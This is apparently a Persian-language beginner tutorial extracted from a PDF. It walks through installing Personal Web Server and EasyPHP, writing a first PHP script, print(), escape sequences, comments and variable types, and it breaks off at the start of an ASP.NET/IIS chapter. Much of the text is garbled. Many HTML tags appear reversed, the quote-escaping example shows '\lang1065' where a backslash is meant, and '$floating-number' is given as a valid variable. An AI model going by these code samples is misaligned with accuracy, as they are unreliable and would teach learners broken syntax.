  .ت مختصری در مورد این برنامهتوضيحا
  

ه پنجره   Nextبعد از فشار دکمه   Microsoft Personal Web Server Setup شما می توانيد به مرحله بعدی بروید که در این مرحل
ورد   End User License Agreeementبا سر فصل  د    Pack باز خواهد شد که در ای مرحله توضيحاتی در م ه داده شد و تایي  برنام

  . می توانيد به مرحله بعد برویدAcceptامه ای برای کپی رایت نرم افزار که با فشار دادن دکمه ن
  

ه دیگر   (  را انتخاب نماید Typicalدر این مرحله شما باید یکی از سه حالت نصب را انتخاب کنيد که شما در این قسمت گزینه           دو گزین
تفاده می شود و                     برا نصب برنامه به      Minimumدر این مرحله گزینه      ات اس ه از حداقل امکان ن گزین صورت فشرده می باشد که در ای

د   Components برای این منظور است که کاربر بتواند خود نسبت به نصب      Customگزینه   دام نمای .  های برنامه به صورت دستی اق
  .) حالت استاندارد نصب می باشدTypicalگزینه 

  
 اصلی را  Root باز خواهد شد که مسير  Microsoft Personal Web Server Version...پنجره  Typicalبعد از فشار دادن دکمه 

ا  ASP می باشد که شما باید فایل های WWWمنظور از روت اصلی هما شاخه .(باید در این مرحله مشخص کنيد     ون رو  PHP ی  خودت
تفاده از  .)ر خودتون اجرا کنيدبرای اجرا در این شاخه قرار دهيد تا بتونيد اون ها رو از طریق کاوشگ            در این مرحله شما می توانيد با اس

ه سرویس         .  برای تغيير مسير فایل اقدام کنيد      Browseگزینه   وط ب  می  FTPدو کادر دیگه ای که در این قسمت غير فعال می باشد مرب
داریم   اج ن ه آن احتي ا ب ه م د ک ه   .(باش د از گزین ی تواني ا م ردن آنه ال ک رای فع د اCustomب تفاده کني   .)س

سير   ين م د از تعي ه Rootبع شار دکم ا ف صل  Next ب ا سرف ره ای ب ا پنج ال داد ت رل را انتق دی کنت ه بع ه مرحل  Completing ب
Installationباز شود در این مرحله شما از روند کپی و نصب فایل ها بر روی سيستم اطلاع پيدا خواهيد کرد .  

  
زار از شما می               PWSيان یافته و     نصب پ  Wizardبعد از اتمام این قسمت        با تشکر کردن از شما در این پنجره برای انتخاب این نرم اف
 این پنجره رو خواهيد دید که عمل تنظيمات رو           Finishبعد از فشار دکمه     .  به برنامه نصب خاتمه دهيد     Finishخواهد که با فشار دکمه      

د       بر روی سي  PWSاکنون  . بر روی سيستم شما اعمال می کند       تفاده کني د از اون اس د    .ستم شما نصب شده و شما می توني  PHPحالا بای
  .  نصب کنيم تا بتونيم از اون استفاده کنيم PWSرو بر روی 

  
 Microsoft Pws On Windows 9x or گزینه Server Typeکار زیادی نمی خواد انجام بدین کافيه فقط در پنجره ‚ برای این کار 

ME دوز    رو انتخاب کنيد و ه     NT Workstationچنان چه از وین د گزین تفاده می کني  Microstft PWS on NT Workstation اس
دارد           ا موفقيت     .را انتخاب کنيد و دیگر در احتياج به تغييرات در جای دیگه ای وجود ن د و   PWSحالا شما ب  رو PHP رو نصب کردی

  .روی اون فعال کردید 
  

  .پس با ما باشيد !Easy PHPون بدم یعنی استفاده از منتظر باشيد تا راه سوم رو هم یادت

  

  Easy PHPنرم افزار 
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رم                      اری های دوروب ه خاطر گرفت سم و اون ب ر مطلب می نوی ر دی ه من یکم دی ه ک نم از هم اول از همه یک توضيح و عذر خواهی ک
  !!! هست

ه   .  کنيم صحبت Esay PHPدرس می خواهيم در مورد چگونگی استفاد از نرم افزار این در  در این درس مرحله سوم یا آخرین مرحل
بيه ساز    !  چيه و چه کاری ميکنهEsay PHPاول کمی توضيح بدم که .  رو یاد می گيریدPHPنصب و پيکربندی  این نرم افراز یک ش

گر اینترنت اجرا    رو با استفاده از کاوشPHP برنامه های PWS و IISوب سرور هست که می تونه بروی کامپيوتر شما بدون نياز به    
  . کنه

  
  

تفاده در             ورد اس ده    PHPهمچنين این نرم افزار امکان استفاده از بانک اطلاعاتی م ه شما مي ورد     ‚  رو ب شتر در م در درسهای بعدی بي
ر رو  اینجا ابتدا باید اون رو از Esay PHPبرای نصب و پيکربندی ! بانکهای اطلاعاتی صحبت می کنيم  دریافت کنيد و بعد مراحل زی

  ! برای نصب طی کنيد

د Wizardمی توانيد " easyphp1-6_setup"با کليک کردن روی فایل اجرایی     امی رو      .  نصب رو اجرا کني ل نصب پيغ ا اجرای فای ب
ه         Esay PHPب نرم افزار مشاهده خواهيد کرد که در اون از شما برای نص ا زدن دکم ه شما ب ه ک ادر رو  YES اجازه کسب می کن  ک

  .  تایيد کرده و کار نصب رو ادامه می دهيد

ه  Esay PHPسپس این پنجره باز خواهد شد که به شما اطلاعاتی در مورد نرم افزار  من   (Suivant ميده که شما می تونيد با زدن دکم
  .می توانيد به مرحله بعد برید!!!)موندم اگه کسی ميدونه چه زبانی هست به من هم بگه نصب این Wizardخودم تو زبان 

  . می توانيد به مرحله بعدی برویدOui باز خواهد شد که شما با فشار دکمه Accord de Licenceسپس پنجره 

  
ه شما می       قراره در اونجا کپی شوند روEsay PHP نصب مسيری که فایل های Wizardدر این مرحله از  د داد ک شان خواه  به شما ن

  .به کار خود ادامه دهيد > Suivantتوانيد این مسير نصب رو عوض کنيد و با فشار دکمه 

  
انبر های      رفتن مي رار گ شار          Programes در Esay PHPدر مرحله بعد محلی که برای ق ا ف د ب ه شما می توني د ک  رو مشخص می کن

  .ه دهيد و به مرحله بعدی بروید نصب ادامWizardبه  > Suivantدکمه 

  
ه         Esay PHPدر این مرحله از شما برای کپی کردن فایلهای  شار دکم ا ف ه شما ب د ک د می     Installer اجازه می خواه ادر را تایي ن ک  ای

د از . حال شما شاهد کپی شدن فایلها در مسير تعيين شده هستيد و باید اندکی صبر کنيد تا عمل کپی انجام شود . کنيد ل از    بع ی فای ام کپ  اتم
  . اجازه این کار را به برنامه خواهيد دادTerminerشما می خواهد که سيستم را دوباره راه اندازی کنيد که شما با فشار دکمه 

ا         Esay PHPحالا بعد از دوباره راه اندازی سيستم در قسمت کازینه سيستم شمایل  د ب ون می تواني م اکن د داده شد و شما ه  نمایش خواه
  ! رو اجرا کنيدPHPستفاده از مرورگر خودتون برنامه های ا

  

  شروع کد نويسی

ه    صحبت ميکنيم HTML در ميان PHPو روش استفاده از  PHPامروز در مورد شکل کلی ساختار برنامه های      و همچنين یک برنام
ا قواعد   رای شروع به آموختن هر زبان برنامه نویسی ب !!!ساده برای شروع کار رو یاد می گيریم       شما احتياج به این خواهيد داشت که ب

  .آن زبان آشنا شوید و این همان چيزی است که در این درس به آن می پردازیم ) syntax( دستوری 

  دستورات پايه

  
  . احتمالا انجام داده ایدHTML شما دقيقا همان کاری را خواهيد کرد که برای ایجاد اولين صفحه PHPبرای ایجاد اولين صفحه 
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  .  وجود داردPHP استاندارد و یک متن HTMLدو تفاوت اساسی بين یک متن 

  
  ) index.phpمانند  ( php  قرار بگيرند. باید در یک فایل با پسوند PHPاسکریپتهای  -١

  
  .؟ قرار گيرند< و php?> در بين برچسبهای PHPکدهای  باید  HTML از کدهای PHPکدهای  جدا کردن همچنين برای  -٢

ه                   PHP دو نکته از شکل دستوری       کنونتا   ين برنام  خود را  PHP رو یاد گرفتيد حالا باهم روند ایجاد یک صفحه نمونه یا بهتر بگم اول
  . و یا هر برنامه ای که می پسندید را باز کنيدNotepadابتدا یک ویراشگر متن مانند  .دنبال می کنيم

  
ر            PHP برای نوشتن دستورات      شما می توانيد از هر ویرایشگر متنی       :توضيح   د از ن ين می تواني ه    م  استفاده کنيد و همچن ایی ک زار ه اف

د   د مانن تفاده کني د اس ی باش سان وب م ه نوی  Microsoft و Macromedia Dreamweaver و Home Siteمخصوص برنام
FrontPage و  ...  

  . کنيدTYPE زیر را عبارتهایل حا . را برای ایجاد یک سند جدید انتخاب کنيدNEWاز منوی فایل گزینه 

<html> 
<head> 
<title>First PHP Script</title> 
</head> 
<body> 
<?php  
?> 
</body> 
</html> 

ند      ک س رای ی اختار ب رین س اده ت الا س اختار ب ای  HTMLس سب ه ه از برچ د  PHP ک ی باش د م ی کن تفاده م   . اس
در حاليکه .  در نظر گرفته شوند    PHPقرار داده شوند تا به عنوان کدهای         باید در بين برچسبهای مخصوص آن        PHPتمام اسکریپتهای   

  . می شوند  استاندارد به مرورگر کاربر منتقلHTMLتمام کدهای خارج این دو برچسب معمولا به صورت کدهای 

  
 اصلی کامپيوتر خود  root در مسير  قرار دهيد وfrist.php را انتخاب کنيد و نام فایل را Save Asحال با استفاده از منوی فایل گرینه 

د رار دهي م.ق ين اسکریپت  اه اد اول ه ایج ق ب ما موف ون ش دید PHPکن تفاده از و  خود ش ا اس ی را ب ا عمل ه حقيقت يده است ک ان آن رس زم
  .اسکریپت خود انجام دهيد

 دهنده را به مرورگر ارسال می     در سرویسPHP استفاده می کنيم تا اطلاعاتی مخصوص نصب     ()phpinfoدر این تمرین ما از تابع       
ين دو برچسب     . را در ویرایشگر متن خود باز کنيد       frist.php به اسکریپت خود فایل      ()phpinfoبرای اضافه کردن تابع     .کند سپس در ب

(<?php  ,  ?>)  یک خط جدید ایجاد کنيد و عبارت phpinfo(); استفاده از را تایپ کنيد حال اسکریپت خود را ذخيره کنيد و آن را با 
 .مرورگر اجرا کنيد

ه می    ) ;( به علامت سيمی کالون PHP کليه دستورات   :توضيح   د برنام ختم می شود عدم گذاشتن این علامت باعث خطا در اجرای رون
  . می باشد PHPشود و یکی از خطا های معمول در برنامه های 

  . قرار داردPHP نصب و پشتيبانی بهدر آن اطلاعات مربوط با اجرای اسکریپت خود در مرورگر این صفحه را خواهيد دید که 

  :چند نکته 

  . می باشدPHPیکی از اشتباهات رایج در  ; قرار ندادن علامت -١
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   صفحه
١ ٤٣

دین دستور را پشت سرهم در یک خط تایپ             ; از آنجایی که انتهای هر دستور با یک علامت  -٢ د چن مشخص می شود شما می تواني
  .قرار دهيد هر چند که این کار رو پيشنهاد نمی کنم ; تور یک علامت کنيد و در انتهای هر دس

شه     PHPهر دستور در    -٣ ل اجرا محسوب مي د قاب دل     ! یک ک ارت دیگه یک م ه عب د از هر دستور   PHPب د  (  بع ا ()printمانن  و ی
phpinfo() (      ل ساختار د در مقاب د خطوط توضيح      یک فرمان را اجرا می کن ایی مانن  ( PHPهای   برچسب ) Comment Line( ه
php Tag (و یا ساختارهای کنترلی  ) نيز ختم نمی شوند  ; یک دستور محسوب نمی شوند بنابراین به یک ) ها حلقه ها و غيره  شرط .  

د های                   تادن ک ين فرس ق    HTMLدر درس بعدی چند مثال ساده دیگه به همراه چاپ یک پيغام در مرورگر و همچن ه مرورگر از طری  ب
PHPو همچنين افزودن توضيحات به اسکریپت صحبت خواهيم کرد .  

  ...پس با ما باشيد
  
  

  ارسال اطلاعات به مرورگر

  

ان                      ه زب يد   PHPاميدوارم که از درس قبلی استفاده لازم رو برده باشيد و همچنين با اجرای اولين اسکریپت خود ب  !!! مشکلی نداشته باش
 به مرورگر رو  HTMLی ميشه یک متن رو به مرورگر ارسال کرد و همچنين ارسال کد در امروز می خواهيم در مورد اینکه چطور    

  .یاد بگيریم

د              PHPمسلما اگر شما تنها از        برای مطلع شدن از ویژگيهای نصب شده بر روی سرویس دهنده استفاده کنيد استفاده مفيدی از آن نخواهي
  !کرد

 و HTML انجام خواهيد داد ارسال اطلاعات به مرورگر به صورت برچسبهای         PHPیکی از متداولترین اعمالی که شما با استفاده از          
  . صورت می گيرد()PRINT با استفاده از تابع PHPاین عمل در . یا متن ساده می باشد

  . تنها تابعی نيست که برای ارسال اطلاعات به مرورگر استفاده می شود()printتابع : توضيح 

  :مثال

  
ا            .ابتدا یک فایل جدید در ویرایش گر خود ایجاد کنيد         :ساده  برای چاپ یک پيغام      ل را ب وده و فای ل تایپ نم ر را در فای سپس دستورات زی

  . ذخيره کنيدprint.phpنام 

<html> 
<head> 
<title> PHP Script </title> 
</head> 
<body> 
<?php print ( "Hello! World!");?> 
</body> 
</html> 

ار تا  د        بعد از اتمام ک تفاده از مرورگر خود اجرا کني ا اس ل را ب ام    .یپ فای شاهده    !Hello! Worldحال شما پيغ  را در مرورگر خود م
 .خواهيد کرد

  .پس شما موفق شدید که یک پيغام رو در مرورگر خودتون نمایش بدید

  :نکات
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 ١٠٤٤    صفحه

  
امل -١ ه ش د ک ه مروگر وجود دارن تن ب ال م رای ارس ی ب ع مختلف ز می شوند ن()printf  و()echo تواب د ()echo. ي  در حقيقت همانن

print()      ردازیم ورد آن نمی پ شتر در م ات بي ابع    .  عمل می کند بنابراین به جزئي ورد ت ين در م د توضيح    ()printfهمچن  در درسهای بع
  .خواهم داد

ابع         -٢ ای               print شما می توانيد در مورد ت ی حذف علامته د ول تفاده نکني ز اس ذیر نمی باشد      quotation( "...")  از پرانت رای   . امکانپ ب
  .ولی بهتر است که از پرانتز استفاده کنيد.  را تایپ کنيد "!print "Hello! Worldمثال شما می توانيد عبارت 

 از اشتباهات رایج در استفاده از تابع       semicolon و یا پرانتزها و یا علامت        quotution فراموشی در قرار دادن یکی از علامتهای         -٣
print()می باشد .  

  .بنابراین به هنگام برخورد با اشکال در مورد اجراء این دستور در مرحله اول وجود این علائم را بررسی کنيد

  

  : به مرورگرHtmlارسال 

  
Html    ه    . در حقيقت برای اعمال ویژگيهای و جذابيتهای خاص به یک متن ساده ایجاد شده است ن    HTMLاز آنجایی ک ال ای رای اعم  ب
ا    HTMLا و جذابيتها برچسبهایی را بين متن ساده قرار می دهد شما نيز برای فرستادن یک متن                ویژگيه د برچسبها را ب  به مرورگر بای

  . به همراه اطلاعات دیگر ارسال کنيدPHPاستفاده از 

  : به مروگرHTMLبرچسبهای + ارسال يک متن 

  
  .عبارت زیر را تایپ کنيد! Hello! World هفتم بجای عبارت در خط. را در ویرایشگر خود باز کنيدprint.phpابتدا فایل 

>b><center<Hello! World !>/ center ></ b< 

  .حال تغييرات را ذخيره کنيد و اسکریپت خود را با استفاده از مرورگر خودتون اجرا کنيد

  نکات

  
ای   HTML برچسبهای  -١ ه از علامته د   Quotation ک تفاده می کنن د  . (  اس تن توسط     ) "font color = #000000>مانن در چاپ م

PHP    زیرا تابع   !  مشکل ایجاد می کنندprint()        ل     . نيز از این علائم برای متن ارسالی خود استفاده می کند ن مشکل قب ایی از ای برای ره
  : تایپ کنيد قرار دهيد برای مثال در این حالت باید عبارت زیر را(lang1065\) یک علامت HTMLاز این علامتها در برچسبهای 

<(";" print " ) > font color="#000000\lang1065 

ل می           quotation به جای تفسير علائم   PHPدر این هنگام     ه مرورگر منتق ن علامت را ب ا ای ارت تنه ای یک عب  به عنوان آغاز یا انته
  . کند

  .رس مورد استفاده قرار گرفته شده باشدداین در درسهای بعدی به مثالهایی از این نو نيز برخورد خواهيم کرد و اميدوارم که 

تورات        تفاده از دس ای اس ورد تکنيکه ر در م ات دیگ ر نک دی منتظ های بع الی در   HTMLدر درس ضاهای خ تفاده از ف  و PHP و اس
HTML                  ا ر ه ورد متغيي م در م د و در آخر ه ه اسکریپتهای خود اضافه کني د گرفت چطوری توضيحات ب اد خواهي ين ی  باشيد و همچن
  !!! خواهيم کردصحبت

  !!!پس با ما باشيد و منتظر یک خبر 
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 ١٠٤٥    صفحه

  

  فضاهای خالی و قرار دادن توضيحات در متن برنامه

  

  . صحبت کنيمHTML و PHPدرس می خواهيم در مورد استفاده از فضا های خالی در این در 

ه     ) کاراکتر جای خالی   مانند خطهای خالی و یا (  آشنا باشيد حتما می دانيد که فضاهای خالی HTMLاگر کمی با     تن نوشته شده ب در م
ر         داشته باشدHTMLهای  این زبان بدون اینکه تغييری در نمایش صفحه و یا تفسير کد   م ت ل فه نظم و قاب اد ساختار م می توانند در ایج

وراتی را که در داخل یک   های خود یک خط خالی قرار دهيد و یا دست          کد ییمی توانيد بين قسمتهای مجزا    : برای مثال   . با ما کمک کنند   
د                 . یک ستون مشخص آغاز کنيد     از. رندساختار کنترلی قرار می گي     م در ک د ه های   این سازماندهی متن توسط فضاهای خالی می تواني

HTMLهای   و هم در کدPHPاستفاده کنيد .  

ه .ه مجزا اثرات خود را نشان می دهدقسازماندهی متن توسط فضاهای خالی در سه منط ه    PHPهای  ت سکریپ ا اول در در مرحل مرحل
ایش داده   )  می باشندHTMLه معمولا در قالب ک(  به مرورگر وب   PHPبعد در اطلاعات ارسال شده توسط        و در آخر نيز در صفحه نم

  .شده توسط مرورگر وب 

  .بنابراین برای سازماندهی متن در هر یک از این سه منطقه باید به روشهای متمایزی متوسل شد

ان         به هنگ  ه زب سی ب ا               PHPام اسکریپت نوی ه فضاهای خالی عموم يد ک شه   (  توجه داشته باش ه همي ه نمی شوند    ) ن ام  . در نظر گرفت تم
ه طور معمول         . تاثيری در نتيجه کار نخواهند داشت  PHPخطهای خالی قرار گرفته شده در اسکریپت  ز ب اراکتر های جای خالی ني ک

  . در نظر گرفته نمی شوندPHPتوسط 

  

   :PHP در (n\)چ يستفاده از سويا

  
د                       ()printچ در تابع    ياین سوی  د در ک اد یک خط جدی ار آن ایج رد و ک ه مرورگر می       HTML مورد استفاده قرار می گي تاده شده ب  فرس
  :مثال .باشد

و  اربرد س ال ک ن مث د n\يچ یدر ای و PHP در ک ردن س ل ک ه عم ين نتيج د ای و همچن تفاده از آن و بع ل از اس تفاده از آن را يچ در قب ز اس
  .خواهيد دید

  :()print در تابع n\چ ياستفاده از سوی

>html< 
>head< 
>title>Test Script</title< 
>/head< 
>body< 
<?php print("<b><cneter>Hello, World!</center></b>\n"); ?> 
>body /<  
>/html< 

  . خروجی ظاهر می شود به صورت زیر استHTML در کد n\چ يتغييری که در استفاده از سوی.اسکریپت بالا را اجرا کنيد

>html< 
>head< 
>title>Test Script</title< 
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>head /<  
>body< 
<b><center>Hello, World!</center></b> 

 
</body> 
>html /<  

  . خروجی به صورت زیر نمایش داده می شودHTML استفاده نشود کد n\يچ یولی اگر از سو

>html< 
>head< 
>title>Test Script</title< 
>head /<  
>body< 
>b><center<Hello, World !>/ center ></ b< 
>body /<  
>html /<  

  :نکات

  
اراکتر های     . می باشدprint فضاهای خالی را در نظر می گيرد فضاهای خالی در تابع  PHPیکی از مواردی که      - ن ک ام ای در این هنگ

  .ها عموما در نظر گرفته نمی شوند  نيز این فضاHTMLر هر چند د. جای خالی به مرورگر ارسال می شوند

راردادن  از حاصل تفاوت مشاهده و خود مرورگر به شده ارسال متن مشاهده برای-  ای  n\ ترکيب  ق ا  "View Source" از ویژگيه  و ی
"View page source "در مرورگر خود استفاده کنيد.  

  

  :افزودن توضيحات به اسکريپت های خود

  
د                      هر برنا  سيار در  . مه نویس بعد از مدتی متوجه این مطلب می شود که توضيحاتی که در طول برنامه برای خود یاداشت می کن ا  ب خوان

ه شما       این یاداشت.تر شدن و درک دستورات برنامه در مراجعات بعدی موثر واقع می شوند           ادآوری چگونگی عملکرد برنام ها باعث ی
  .را در پردازش برنامه در نظر نمی گيرد) Comments(کامپيوتر نيز توضيحات . می شود

PHPسه روش را برای افزودن توضيحات به برنامه پشتيبانی می کند .  

  .شما می توانيد با یکی از این سه روش توضيحات را به اسکریپت خود بی افزاید

ا  . ورت یک توضيح تعریف می کنيد   در ابتدای هر خط مطلب آن خط را به ص         # و یا   // های   شما با قرار دادن یکی از علامت       همچنين ب
  .به کار بردن این علائم در وسط یک خط عبارت بعد از آنها در آن خط به صورت توضيح در نظر گرفته می شود

  :مثال

  
  : به صورت توضيح در نظر گرفته می شود"Just a greeting"در کد زیر عبارت 

Print("Hello,World!");//Just a greeting 
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تفاده از علامت     PHPیگر برای قرار دادن توضيح در اسکریپت          روش د  ی              .می باشد   */ و  /* های     اس ا حت ارت ی ا عب ه ی داد کلم هر تع
  .خطهای متوالی که بين این دو علامت قرارگيرد به صورت توضيح در نظر گرفته می شوند

  :نکات

  
  .وضيح در آوریدمی توانيد یک و یا چندین خط را به صورت ت*/ و /*  شما با استفاده -

د     - ه شما یک         . برنامه نویسان مختلف از روشهای مختلفی برای اضافه کردن توضيحات خود استفاده می کنن ن است ک م است ای آنچه مه
  .روش را انتخاب کنيد و هميشه از آن استفاده کنيد

ه اگر شما از برچسب           - د   PHPدرون اسکریپت  > !-- و --<های     توجه کنيد ک تفاده کني ه صورت        خود اس ن دو برچسب ب ين ای تن ب  م
  . توضيح در نظر گرفته نمی شوند

تفاده می       . به مرورگر ارسال نمی شود     PHP از آنجایی که متن توضيح در        - برنامه نویس می تواند توضيحاتی که تنها خود او از آنها اس
  . قرار دهدPHPها  کند را در برچسب

د    .. . و Home site ویرایش گر های پيشرفته مانند - تفاده می کنن ن ویژگی در اسکر   . ( از رنگهای متفاوتی برای توضيحات اس پت یای
  .)گ می تواند بسيار مفيد واقع شودرهای بز

  
  

  انواع متغييرها

  

ا در یک اسکریپت                          ه ه ر های و آرای ردن متغيي ار ب ه ک امروز می خواهيم در مورد انواع متغيير ها صحبت کنيم و همچنين چگونگی ب
PHP.  

د                                  برای   ه بتواني د داشت ک ن خواهي ه ای اج ب دا شما احتي ه های دیناميک و سایت های جذاب در ابت ه برنام اده و ثابت ب تبدیل صفحات س
 و آنها  متغيير ها همان ابزاری هستند که شما با استفاده از آن ها می توانيد اطلاعات را در اختيار بگيرید        .اطلاعات را در اختيار بگيرید    

  .متغيير ها یکی از مهمترین ابزارها و مفاهيم هر زبان برنامه نویسی محسوب می شوند.  قرار دهيدرا در دسترس خود

  .من در اینجا سه دسته مختلف از انواع متغيير ها را توضيح می دهم

  )numbers(اعداد  )١
 )String(رشته ها  )٢
  )arrays(آرایه ها  )٣

  :دسته اول شامل دو نوع متغيير است

  )integers(اعداد صحيح )١

  )doubleهمچنين اعداد اعشاری با دقت مضاعف ) ( floating - point(اعداد اعشاری )٢

 PHP .این دو را در یک دسته قرار می دهيم. نوع متغيير وجود ندارد  اما از آنجایی که تفاوت چندانی در چگونگی به کار بردن این دو       
  .می باشد) object(همچنين دارای یک نوع متغيير به نام شی 

  

   : اعداد
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ال     . های اعشاری محسوب می شوند       کسری از نوع متغيير    دو یا اعدا  ) همراه با مميز    ( اعداد به صورت اعشاری     :نکته رای مث ) ١٫٠(ب
ادل اعشاری         PHPتوجه کنيد که در . یک عدد اعشاری به حساب می آید   PHPدر   ره نمی شوند بلکه مع  اعداد به صورت کسری ذخي

  .س ذخيره می شوندخود تبدیل شده و سپ

  :هایی از اعداد صحيح معتبر مثال

  -١آ و ١٩٧٢آ و ١آ 

  :مثالهای از اعداد اعشاری 

   -١٫٠ و ١٩٫٧٢آ و ١٫٠

  :همچنين مثالهای که در دسته اعداد قرار نمی گيرند

۴/١١  a1972  ٠٢٫٢٣٫٧٢آ   

  

  رشته ها

  
د ساخته شود   )  علائم و جای خالی - اعداد -حروف ( کتری ااز ترکيب هر نوع کار) String(یک متغيير از نوع رشته ای   ا  .می توان ام

  . قرار گيرندDouble Quotation(" " )  و یا Single)' ' (Quotationهای  ها باید در داخل یکی از علامت کترااین کار

  :مثال

 
HELLO , WORLD !"" 

"hello frist name ! " 

"1 1/4" 

"how are you?" 

"02.23.72" 

"1972" 
 

  .ه عنوان یک داده رشته ای در نظر گرفته می شودب قرار گيرد Quotationاگر عدد نيز در داخل : ته نک

  :مثالهای از داده های رشته ای غير مجاز

hello world! 

how are you" " "I Said," " 
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  !!!توجه

نيم این مشکل رو  اما می تو ر گر ارسال کنيم؟ را به مرو"نيم یک علامت اشاید این سئوال در ذهن شما به وجود بياد که چطوری می تو           
ل از علامت              PHPدر   ه قب يم   ) \( از علامت     quitation به این صورت رفع کنيم ک تفاده کن ا در دستور           !!!اس ی م ن   ()printپس وقت  ای

ه صورت    ") " "\?I Said, \"How are You(عبارت  د  ) "?I Said, "How are You( رو تایپ کنيم خروجی این دستور ب  خواهي
  .دید

ار می رود        بنابراین هر چند که گفته شد در داده رشته ای هر ترکيبی از کاراکتر              ه ک اراکتر          . ها ب ورد ک ه در م يد ک د توجه داشته باش  بای
د         کاراکتر. های ویژه باید دقت خاصی اعمال شود       ا در یک داده رشته ای بای تفاده از آنه ام اس ه هنگ  های ویژه دیگری نيز وجود دارند ک

  .قبل از آنها قرار دهيم) \ (backslashعلامت 

  :این کاراکتر ها عبارت است از

single quotation ( ' ) 

apostrophe 

backslash 

  dollarو علامت 

  :نکات

  
ه          single quotes به جای double quotesمزیت استفاده از - ری داخل داده رشته ای خود ب ه در حالت دوم اگر متغي  در این است ک

  . ببرید نام متغيير به عنوان جزئی از داده در نظر گرفته می شود و نه مقدار آن متغيير جایگزین نام آن نمی شودکار

ه         .  باعث ایجاد خط جدید می شود      ()print برای مثال در تابع      n\ در درسهای قبلی اشاره شد که در ترکيب          - د ک شاهده می کني بنابراین م
وان      .به صورت یک کاراکتر معمولی نشد n باعث در نظر گرفتن backslashدر این حالت خاص علامت  وارد خاص دیگر می ت از م

  .اشاره کرد) tabبرای قرار دادن یک  ( t\و )) carriage return( بازگشت خطی  ( r\به ترکيب 

  

  :آرايه ها

  
د                              ه حساب می آین ر از داده های عددی و رشته ای ب ده ت ا کمی پيچي ا          د.از آنجایی که آرایه ه ورد آنه ا مختصری در م سمت تنه ن ق ر ای

  .توضيح داده می شود و در درسهای آینده با کاربرد های آن بيشتر آشنا خواهيد شد

ادیر        . بر خلاف داده های عددی و رشته ای که تنها می توانند دارای یک ارزش و یا مقدار باشند  ستی از مق د حاوی لي ا می توانن ه ه آرای
د    بنابراین شما می ت   .باشند د شامل        . وانيد مقادیر مختلف عددی و یا رشته ای را داخل یک آرایه قرار دهي ا خود می توانن ه ه ين آرای همچن

  .ليستی از آرایه ها باشند

  

  :نکته

  
تاندارد در - ای اس ه ه وند  PHP آرای ی ش شکيل م ددی ت ا ع ای و ی ادیر داده ده   (  از مق ذاری ش ماره گ ای ش ه ه ه آرای ا ب ه ه ن آرای ( ای

indexed (  و یا برداری )vector ( نيز معروف هستند(.  
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د    Perl نامی است که    اانو این هم   سبت می ده ا ن ه          Perlدر .  به این دسته از آرایه ه ه خود از آرای ایی ک ه ه ه خود از آرای ایی ک ه ه  آرای
ناخته می شوند   multi_dimensional و associativeو hashبه نامهای آرایه های . تشکيل شده باشد ه هر دو دسته    PHPدر .  ش (  ب

  .اطلاق می شود» آرایه آ« لفظ آ) یک یا چند بعدی 

  

  ها نسبت دادن مقادير به متغير

  
  .همچنين نوع یک متغيير در هنگام عمل انتساب مشخص می شود. ها احتياج ندارید متغير ) declare(  شما به اعلان PHPدر 

ر و              PHPدر   ه یک متغيي دار ب دار از علامت مساوی             برای نسبت دادن یک مق ره آن مق د     ( = )  ذخي تفاده می کني ن       .اس ام ای ن هنگ در ای
  .خوانده می شود ) assignment Operater( گر انتساب  علامت با نام عمل

  :مثال

$number = 1; 

$floating-number = 1.2; 

$string = "Hello,World!"; 

  

  .ول برنامه می تواند تغيير کند نوع متغيير در طJava Script نيز همانند PHPدر :نکته

  

  متغيرهای از پيش تعريف شده

  
ه       ) Predefined Variables (متغيرهای از پيش تعریف شده  ار گرفت ه ک ا ب ه ه انواع خاصی از متغيير ها هستند که در یکی از برنام

  :می شوند

   )Apacheمانند  (web server applivations( برنامه های کاربردی سرویس دهنده وب 

  ) Solaris و یا windows ntمانند  ( web server operationg system( های سرویس دهنده وب  سيستم عامل

   .PHPو یا در خود مدل 

  .معروفند  ) variables enviromental( در دو دسته اول این متغيير ها به متغيرهای محيطی 

ر         . ممکن است دارای تفاوتهایی باشند      متغيرهای از پيش تعریف شده در سرویس دهنده های مختلف            ن متغي شاهده ای رای م ابراین ب ا   بن ه
  . که در درسهای قبلی توضيح داده ام استفاده کنيد()phpinfoبهتر است از تابع 

  .دو دليل برای آشنایی شما با مفهوم متغيرهای از پيش تعریف شده وجود دارد

ر       ها در برنامه نویسی دليل اول اینست که این متغير  ن متغي ا شناخت ای ل دیگر آنکه ب ه       شما کاربرد خواهند داشت و دلي ا شما دیگر ب ه
  .ها انتخاب نمی کنيد صورت تصادفی نام یک متغيير را هم نام با این متغير
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د از    ده عبارتن رویس دهن ی س ای محيط ایی از متغيره ه ه ت     ( Hostname: نمون سبت داده اس ود ن ه خ ده ب رویس دهن ه س امی ک و ) ن
Ostype ) سيستم عاملی که بر روی سرویس دهنده در حال اجراء می باشد(.  

ی    ای محيط ر ه ای از متغيي ه ه د ازApacheنمون ده    ( Document_Root:  عبارتن رویس دهن ر روی س ا ب ل ه ره فای ان ذخي و ) مک
HTTP_USER_AGENT ) در مورد مرورگر و جزیياتی Platfrom کاربر را ارائه می دهد.(  

  .  می باشد که نام صفحه جاری را در خود ذخيره کرده است PHPترین متغيير   پر کاربردPHP-SELFمتغيير 

. نتایجی عجيب و منحصر به فردی حاصل می شوند    . اگر شما متغيرهای خود را هم نام با متغيرهای محيطی سيستم نامگذاری کنيد            :نکته
ر        يتر است ل  با این وجود به   . هر چند احتمال انجام این کار اندک می باشد          ستی از متغيير های محيطی سيستم را در هنگام نامگذاری متغي

   .ها در برابر خود داشته باشيد
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 ASP.NETآموزش 
  

  نصيری حيدو: نویسنده 
  

  
  ASP.NETنويسی  برنامه مقدمات کردن فراهم  برایNet Framework و IIS با  آشنايی ؛ اول فصل

  
  : مهمقد

  
 .گيرید می  فراASP.NET های برنامه اجرای برای  راIIS اندازی  و راه تنظيم نصب، نحوه اربردیک بسيار صورت به فصل این در

 نموده نصب  راIIS توانيد شما می فصل این مطالعه پس از. شد  خواهد گوشزد . Net Frameworنصب  مورد در نيز اتیکن همچنين
ای   وبHome توریکدایر ، ين  را تس وده  تعي يش  صفحه  ، نم د ک مشخص  را فرض  پ وری کدایر و ني اد  آن در مجازی  ت د   ایج ا . نمایي  ب

 .شد  خواهيد آشنا نيز آن موارد امنيتی  و IIS تنظيمات
  

   : IIS اندازی  راه و نصب
  

IISرا  استفاده مورد ها سایت وب هاستينگ و مدیریت ، ایجاد برای و باشد می روسافتکمای سرور  وب رد  می  رق ن  . گي ه  ای ر  برنام  ب
